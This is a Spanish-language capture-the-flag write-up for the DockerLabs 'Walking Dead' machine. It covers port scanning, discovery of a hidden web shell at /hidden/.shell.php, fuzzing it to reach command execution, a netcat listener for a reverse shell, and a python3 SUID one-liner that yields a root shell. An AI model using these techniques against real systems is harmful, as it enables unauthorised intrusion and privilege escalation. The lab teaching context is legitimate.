> For the complete documentation index, see [llms.txt](https://lta.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lta.gitbook.io/home/ctfs/dockerlabs/walking-dead.md).
# Walking Dead
### Setup
Iniciamos corriendo la máquina previamente habiendo dado permisos de ejecución al archivo `auto_deploy.sh`.
```sh
chmod +x ./auto_deploy.sh
```
Posteriormente, esperamos que se levante la máquina para luego escucharlo en la interfaz de red `172.17.0.2` de **Docker**.
***
### Reconocimiento de puertos
{% stepper %}
{% step %}
### Escaneo inicial (puertos)
Realizamos un escaneo sencillo para averiguar solamente los puertos:
```sh
nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oX simple_report.xml
```
Resultado: puertos TCP abiertos 22, 80.
{% endstep %}
{% step %}
### Escaneo detallado (versiones y scripts)
Escaneo más complejo para obtener versiones y detección de servicios:
```sh
nmap -p22,80 -sCV -oX extended_scan.xml 172.17.0.2
```
Resultado: versiones detectadas para HTTP y SSH, que nos permitirán enfocar el reconocimiento web y conexiones remotas.
{% endstep %}
{% endstepper %}
***
### Reconocimiento de la Web
Previamente a entrar, hacemos un reconocimiento con `whatweb`:
```ruby
whatweb 172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[172.17.0.2], Title[The Walking Dead - CTF]
```
Accedemos a la web en `:80`, vemos una página de bienvenida (tema Halloween) y procedemos a inspeccionar el código fuente.
También se puede usar Wappalyzer para más contexto (por ejemplo detectar PHP).
En el código fuente hay enlaces: uno al `.mp3` que reproduce fondo y otro que apunta a un sitio oculto.
#### /hidden/.shell.php
Al acceder a la ruta encontramos una página vacía (posible punto de entrada).
#### Escaneo con `wfuzz`
Probamos qué parámetros acepta `.shell.php` usando wfuzz:
```sh
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt -u 'http://172.17.0.2/hidden/.shell.php?FUZZ=whoami' --hc 404 --hl 0 -t 30
```
Resultado: la página responde con una variable `cmd` que permite ejecutar comandos (vía RCE).
***
### RCE
{% hint style="info" %}
RCE = Remote Command Execution (Ejecución remota de comandos)
{% endhint %}
Con la entrada para ejecutar comandos, listamos usuarios:
Se detectan usuarios `negan` y `rick`. Procedemos a obtener una reverse shell hacia el host atacante.
{% stepper %}
{% step %}
### Preparar escucha
Ponemos a la escucha una conexión entrante en la máquina atacante.
Usando netcat:
```sh
nc -lvnp 4444
```
Usando Penelope:
```sh
penelope.py
```
{% endstep %}
{% step %}
### Lanzar reverse shell
Ejecutamos la reverse shell desde la web/vía RCE y, al conectarse, obtenemos la shell en nuestro host.
Tras entrar, realizamos el tratamiento de la TTY (mejorar la terminal):
{% embed url="" %}
{% endstep %}
{% endstepper %}
***
#### Búsqueda de binarios SUID
Dentro del sistema, buscamos binarios con el bit SUID para escalar privilegios:
```sh
find / -perm -4000 -type f 2>/dev/null
```
Se detecta `python3.8` como SUID (interesante para escalada).
Usamos el siguiente payload para obtener shell con privilegios de root:
```sh
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
```
{% embed url="" %}
Resultado: acceso a root obtenido.
